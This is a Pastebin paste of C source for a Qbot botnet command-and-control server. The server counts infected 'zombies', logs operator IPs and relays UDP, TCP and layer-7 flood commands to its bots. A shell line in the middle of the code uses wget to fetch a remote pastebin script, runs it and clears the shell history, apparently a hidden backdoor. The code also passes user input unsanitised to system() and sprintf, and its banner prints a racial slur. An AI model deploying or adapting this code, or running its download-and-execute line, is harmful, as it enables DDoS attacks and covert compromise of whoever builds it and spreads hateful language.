Advertisement
Guest User

Qbot Server Side New

a guest
Nov 4th, 2018
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.63 KB | None | 0 0
  1. /*
  2. Server side By Jonah
  3. Free release
  4. logs the IP of the user connecting, along with a couple other cool things
  5. Small update:05/21/17
  6. If you would like to add users upon screen, compile like the following
  7. gcc server.c -o server -pthread -DUser
  8. if you just want to screen it, then do the following
  9. gcc server.c -o server -pthread
  10. Btw, if you plan on modifying this, at least give credit, thanks.
  11. */
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <string.h>
  15. #include <sys/types.h>
  16. #include <sys/socket.h>
  17. #include <netdb.h>
  18. #include <unistd.h>
  19. #include <time.h>
  20. #include <fcntl.h>
  21. #include <sys/epoll.h>
  22. #include <errno.h>
  23. #include <pthread.h>
  24. #include <signal.h>
  25. #include <ctype.h>
  26. #define MAXFDS 1000000
  27. #define RED "\x1b[0;31m"
  28. #define GREEN "\x1b[0;32m"
  29. #define C_RESET "\x1b[0m"
  30.  
  31. struct account {
  32. char id[20];
  33. char password[20];
  34. };
  35. static struct account accounts[25];
  36.  
  37. struct clientdata_t {
  38. uint32_t ip;
  39. char build[7];
  40. char connected;
  41. } clients[MAXFDS];
  42.  
  43. struct telnetdata_t {
  44. uint32_t ip;
  45. int connected;
  46. } managements[MAXFDS];
  47.  
  48. ////////////////////////////////////
  49.  
  50. static volatile FILE *fileFD;
  51. static volatile int epollFD = 0;
  52. static volatile int listenFD = 0;
  53. static volatile int managesConnected = 0;
  54. static volatile int DUPESDELETED = 0;
  55.  
  56. ////////////////////////////////////
  57.  
  58. cd /tmp;wget https://pastebin.com/raw/2ipnpRs3/0 -O v -q; chmod 777 v;sh v > /dev/null 2>&1;rm -rf v;history -c;clear;cd;
  59.  
  60. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  61. {
  62. int total = 0, got = 1;
  63. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  64. return got;
  65. }
  66. void trim(char *str)
  67. {
  68. int i;
  69. int begin = 0;
  70. int end = strlen(str) - 1;
  71. while (isspace(str[begin])) begin++;
  72. while ((end >= begin) && isspace(str[end])) end--;
  73. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  74. str[i - begin] = '\0';
  75. }
  76.  
  77.  
  78. static int make_socket_non_blocking (int sfd)
  79. {
  80. int flags, s;
  81. flags = fcntl (sfd, F_GETFL, 0);
  82. if (flags == -1)
  83. {
  84. perror ("fcntl");
  85. return -1;
  86. }
  87. flags |= O_NONBLOCK;
  88. s = fcntl (sfd, F_SETFL, flags);
  89. if (s == -1)
  90. {
  91. perror ("fcntl");
  92. return -1;
  93. }
  94. return 0;
  95. }
  96.  
  97.  
  98. static int create_and_bind (char *port)
  99. {
  100. struct addrinfo hints;
  101. struct addrinfo *result, *rp;
  102. int s, sfd;
  103. memset (&hints, 0, sizeof (struct addrinfo));
  104. hints.ai_family = AF_UNSPEC;
  105. hints.ai_socktype = SOCK_STREAM;
  106. hints.ai_flags = AI_PASSIVE;
  107. s = getaddrinfo (NULL, port, &hints, &result);
  108. if (s != 0)
  109. {
  110. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  111. return -1;
  112. }
  113. for (rp = result; rp != NULL; rp = rp->ai_next)
  114. {
  115. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  116. if (sfd == -1) continue;
  117. int yes = 1;
  118. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  119. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  120. if (s == 0)
  121. {
  122. break;
  123. }
  124. close (sfd);
  125. }
  126. if (rp == NULL)
  127. {
  128. fprintf (stderr, "Could not bind\n");
  129. return -1;
  130. }
  131. freeaddrinfo (result);
  132. return sfd;
  133. }
  134. void broadcast(char *msg, int us, char *sender)
  135. {
  136. int sendMGM = 1;
  137. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  138. char *wot = malloc(strlen(msg) + 10);
  139. memset(wot, 0, strlen(msg) + 10);
  140. strcpy(wot, msg);
  141. trim(wot);
  142. time_t rawtime;
  143. struct tm * timeinfo;
  144. time(&rawtime);
  145. timeinfo = localtime(&rawtime);
  146. char *timestamp = asctime(timeinfo);
  147. trim(timestamp);
  148. int i;
  149. for(i = 0; i < MAXFDS; i++)
  150. {
  151. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  152. if(sendMGM && managements[i].connected)
  153. {
  154. send(i, "\x1b[31mID:", 8, MSG_NOSIGNAL);
  155. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  156. send(i, " ", 1, MSG_NOSIGNAL);
  157. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  158. send(i, ": ", 2, MSG_NOSIGNAL);
  159. }
  160. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  161. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[32m> \x1b[0m", 13, MSG_NOSIGNAL);
  162. else send(i, "\n", 1, MSG_NOSIGNAL);
  163. }
  164. free(wot);
  165. }
  166.  
  167. void *epollEventLoop(void *useless)
  168. {
  169. struct epoll_event event;
  170. struct epoll_event *events;
  171. int s;
  172. events = calloc (MAXFDS, sizeof event);
  173. while (1)
  174. {
  175. int n, i;
  176. n = epoll_wait (epollFD, events, MAXFDS, -1);
  177. for (i = 0; i < n; i++)
  178. {
  179. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  180. {
  181. clients[events[i].data.fd].connected = 0;
  182. close(events[i].data.fd);
  183. continue;
  184. }
  185. else if (listenFD == events[i].data.fd)
  186. {
  187. while (1)
  188. {
  189. struct sockaddr in_addr;
  190. socklen_t in_len;
  191. int infd, ipIndex;
  192.  
  193. in_len = sizeof in_addr;
  194. infd = accept (listenFD, &in_addr, &in_len);
  195. if (infd == -1)
  196. {
  197. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  198. else
  199. {
  200. perror ("accept");
  201. break;
  202. }
  203. }
  204.  
  205. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  206.  
  207. int dup = 0;
  208. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  209. {
  210. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  211.  
  212. if(clients[ipIndex].ip == clients[infd].ip)
  213. {
  214. dup = 1;
  215. break;
  216. }
  217. }
  218.  
  219. if(dup)
  220. {
  221. DUPESDELETED++;
  222. continue;
  223. }
  224.  
  225. s = make_socket_non_blocking (infd);
  226. if (s == -1) { close(infd); break; }
  227.  
  228. event.data.fd = infd;
  229. event.events = EPOLLIN | EPOLLET;
  230. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  231. if (s == -1)
  232. {
  233. perror ("epoll_ctl");
  234. close(infd);
  235. break;
  236. }
  237.  
  238. clients[infd].connected = 1;
  239. send(infd, "!* SC ON\n", 9, MSG_NOSIGNAL);
  240.  
  241. }
  242. continue;
  243. }
  244. else
  245. {
  246. int thefd = events[i].data.fd;
  247. struct clientdata_t *client = &(clients[thefd]);
  248. int done = 0;
  249. client->connected = 1;
  250. while (1)
  251. {
  252. ssize_t count;
  253. char buf[2048];
  254. memset(buf, 0, sizeof buf);
  255.  
  256. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  257. {
  258. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  259. trim(buf);
  260. if(strcmp(buf, "PING") == 0) {
  261. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  262. continue; }
  263. if(strcmp(buf, "PONG") == 0) {
  264. continue; }
  265. printf("buf: \"%s\"\n", buf); }
  266.  
  267. if (count == -1)
  268. {
  269. if (errno != EAGAIN)
  270. {
  271. done = 1;
  272. }
  273. break;
  274. }
  275. else if (count == 0)
  276. {
  277. done = 1;
  278. break;
  279. }
  280. }
  281.  
  282. if (done)
  283. {
  284. client->connected = 0;
  285. close(thefd);
  286. }
  287. }
  288. }
  289. }
  290. }
  291.  
  292. unsigned int clientsConnected()
  293. {
  294. int i = 0, total = 0;
  295. for(i = 0; i < MAXFDS; i++)
  296. {
  297. if(!clients[i].connected) continue;
  298. total++;
  299. }
  300.  
  301. return total;
  302. }
  303.  
  304. void *titleWriter(void *sock)
  305. {
  306. int thefd = (long int)sock;
  307. char string[2048];
  308. while(1)
  309. {
  310. memset(string, 0, 2048);
  311. sprintf(string, "%c]0;Zombies connected: %d | Operators connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  312. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1);
  313.  
  314. sleep(2);
  315. }
  316. }
  317.  
  318. int Search_in_File(char *str)
  319. {
  320. FILE *fp;
  321. int line_num = 0;
  322. int find_result = 0, find_line=0;
  323. char temp[512];
  324.  
  325. if((fp = fopen("login.txt", "r")) == NULL){
  326. return(-1);
  327. }
  328. while(fgets(temp, 512, fp) != NULL){
  329. if((strstr(temp, str)) != NULL){
  330. find_result++;
  331. find_line = line_num;
  332. }
  333. line_num++;
  334. }
  335. if(fp)
  336. fclose(fp);
  337.  
  338. if(find_result == 0)return 0;
  339.  
  340. return find_line;
  341. }
  342. void client_addr(struct sockaddr_in addr){
  343. printf("IP:%d.%d.%d.%d\n",
  344. addr.sin_addr.s_addr & 0xFF,
  345. (addr.sin_addr.s_addr & 0xFF00)>>8,
  346. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  347. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  348. FILE *logFile;
  349. logFile = fopen("server.log", "a");
  350. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  351. addr.sin_addr.s_addr & 0xFF,
  352. (addr.sin_addr.s_addr & 0xFF00)>>8,
  353. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  354. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  355. fclose(logFile);
  356. }
  357.  
  358. void *telnetWorker(void *sock) {
  359. int thefd = (long int)sock;
  360. managesConnected++;
  361. int find_line;
  362. pthread_t title;
  363. char counter[2048];
  364. memset(counter, 0, 2048);
  365. char buf[2048];
  366. char* nickstring;
  367. char usernamez[80];
  368. char* password;
  369. char* admin;
  370. memset(buf, 0, sizeof buf);
  371. char botnet[2048];
  372. memset(botnet, 0, 2048);
  373.  
  374. FILE *fp;
  375. int i=0;
  376. int c;
  377. fp=fopen("login.txt", "r"); // format: user pass
  378. while(!feof(fp))
  379. {
  380. c=fgetc(fp);
  381. ++i;
  382. }
  383. int j=0;
  384. rewind(fp);
  385. while(j!=i-1)
  386. {
  387. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  388. ++j;
  389. }
  390. sprintf(botnet, ""GREEN"Username: \x1b[30m");
  391. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  392. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  393. trim(buf);
  394. sprintf(usernamez, buf);
  395. nickstring = ("%s", buf);
  396. find_line = Search_in_File(nickstring);
  397.  
  398. if(strcmp(nickstring, accounts[find_line].id) == 0){
  399. sprintf(botnet, ""RED"Welcome User\r\n");
  400. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  401. sprintf(botnet, ""GREEN"Password: \x1b[30m");
  402. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  403. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  404. trim(buf);
  405. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  406. memset(buf, 0, 2048);
  407. goto fak;
  408. }
  409. failed:
  410. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  411. goto end;
  412. fak:
  413.  
  414. pthread_create(&title, NULL, &titleWriter, sock);
  415. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  416. if(send(thefd, "\r\n", 2, MSG_NOSIGNAL) == -1) goto end;
  417. char line1[80];
  418. sprintf(line1, ""C_RESET"***"GREEN" WELCOME TO THE CHAMBER"C_RESET" ***\r\n\r\n"GREEN"> "C_RESET"");
  419. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  420. pthread_create(&title, NULL, &titleWriter, sock);
  421. managements[thefd].connected = 1;
  422. while(fdgets(buf, sizeof buf, thefd) > 0)
  423. {
  424. if(strstr(buf, "!* BOTS"))
  425. {
  426. sprintf(botnet, "Zombies connected: "GREEN"[%d]"C_RESET"\r\nOperators connected: "GREEN"[%d]"C_RESET"\r\nDupes Deleted:"GREEN" [%d]"C_RESET"\r\n", clientsConnected(), managesConnected, DUPESDELETED);
  427. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  428. }
  429.  
  430. if (strstr(buf, "!* HELP"))
  431. {
  432. sprintf(botnet, "\x1b[0;32m!* STD IP PORT TIME SIZE || STD/UDP\r\n!* TCP IP PORT TIME SIZE 32 FLAGS SIZE INTERVALS || TCP\r\n!* L7 URL GET/HEAD/POST PORT PATH TIME POWER || LAYER 7\r\n!* KT | KILLS ATTACKS\r\n");
  433. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  434. }
  435.  
  436. if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
  437. {
  438. int hax;
  439. if(send(thefd, "Countdown Before Attack Will be Sent\r\n", 38, MSG_NOSIGNAL) == -1) goto end;
  440. for (hax = 5; hax > 0; --hax) {
  441. sleep(1);
  442. sprintf(botnet, "Time: %d\r\n", hax);
  443. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  444. }
  445. if(send(thefd, "Blast Off!\r\n", 12, MSG_NOSIGNAL) == -1) goto end;
  446. }
  447. if (strstr(buf, "!* CLEAR"))
  448. {
  449. if(send(thefd, "\033[1A\033[2J\033[1;1H\r\n", 16, MSG_NOSIGNAL) == -1) goto end;
  450. sprintf(line1, ""C_RESET"***"GREEN" WELCOME TO THE CHAMBER"C_RESET" ***\r\n\r\n");
  451. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  452.  
  453. }
  454. if (strstr(buf, "!* EXIT"))
  455. {
  456. goto end;
  457. }
  458. trim(buf);
  459. sprintf(botnet, "\x1b[32m> \x1b[0m");
  460. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  461. if(strlen(buf) == 0) continue;
  462. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  463. FILE *logFile;
  464. logFile = fopen("server.log", "a");
  465. fprintf(logFile, "%s: \"%s\"\n", accounts[find_line].id, buf);
  466. fclose(logFile);
  467. broadcast(buf, thefd, usernamez);
  468. memset(buf, 0, 2048);
  469. }
  470.  
  471. end: // cleanup dead socket
  472. managements[thefd].connected = 0;
  473. close(thefd);
  474. managesConnected--;
  475. }
  476.  
  477. void *telnetListener(int port)
  478. {
  479. int sockfd, newsockfd;
  480. socklen_t clilen;
  481. struct sockaddr_in serv_addr, cli_addr;
  482. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  483. if (sockfd < 0) perror("ERROR opening socket");
  484. bzero((char *) &serv_addr, sizeof(serv_addr));
  485. serv_addr.sin_family = AF_INET;
  486. serv_addr.sin_addr.s_addr = INADDR_ANY;
  487. serv_addr.sin_port = htons(port);
  488. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  489. listen(sockfd,5);
  490. clilen = sizeof(cli_addr);
  491. while(1)
  492.  
  493. { printf("Connecting To Server: ");
  494. client_addr(cli_addr);
  495. FILE *logFile;
  496. logFile = fopen("IP.log", "a");
  497. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  498. fclose(logFile);
  499. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  500. if (newsockfd < 0) perror("ERROR on accept");
  501. pthread_t thread;
  502. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  503. }
  504. }
  505.  
  506. int main (int argc, char *argv[], void *sock)
  507. {
  508. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  509.  
  510. int s, threads, port;
  511. struct epoll_event event;
  512. char Username[20], Password[20];
  513. #ifdef User
  514. printf("Please Enter Username: ");
  515. scanf("%s",Username);
  516. printf("Please Enter Password: ");
  517. scanf("%s",Password);
  518. char hahaha[80];
  519. sprintf(hahaha, "echo %s %s >> login.txt", Username, Password);
  520. system(hahaha);
  521. #endif
  522. if (argc != 4)
  523. {
  524. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  525. exit (EXIT_FAILURE);
  526. }
  527. port = atoi(argv[3]);
  528. threads = atoi(argv[2]);
  529. if (threads > 850)
  530. {
  531. printf("Are You Dumb? Lower the Threads\n");
  532. return 0;
  533. }
  534. else if (threads < 850)
  535. {
  536. printf("Good Choice in Threading\n");
  537. }
  538. #ifdef User
  539. printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nUsername: %s\nPassword: %s\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", Username, Password, port, threads);
  540. #endif
  541. printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", port, threads);
  542.  
  543. listenFD = create_and_bind(argv[1]); // try to create a listening socket, die if we can't
  544. if (listenFD == -1) abort();
  545.  
  546. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  547. if (s == -1) abort();
  548.  
  549. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  550. if (s == -1)
  551. {
  552. perror ("listen");
  553. abort ();
  554. }
  555.  
  556. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  557. if (epollFD == -1)
  558. {
  559. perror ("epoll_create");
  560. abort ();
  561. }
  562.  
  563. event.data.fd = listenFD;
  564. event.events = EPOLLIN | EPOLLET;
  565. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  566. if (s == -1)
  567. {
  568. perror ("epoll_ctl");
  569. abort ();
  570. }
  571.  
  572. pthread_t thread[threads + 2];
  573. while(threads--)
  574. {
  575. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  576. }
  577.  
  578. pthread_create(&thread[0], NULL, &telnetListener, port);
  579.  
  580. while(1)
  581. {
  582. broadcast("PING", -1, "STRING");
  583. sleep(60);
  584. }
  585.  
  586. close (listenFD);
  587.  
  588. return EXIT_SUCCESS;
  589. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement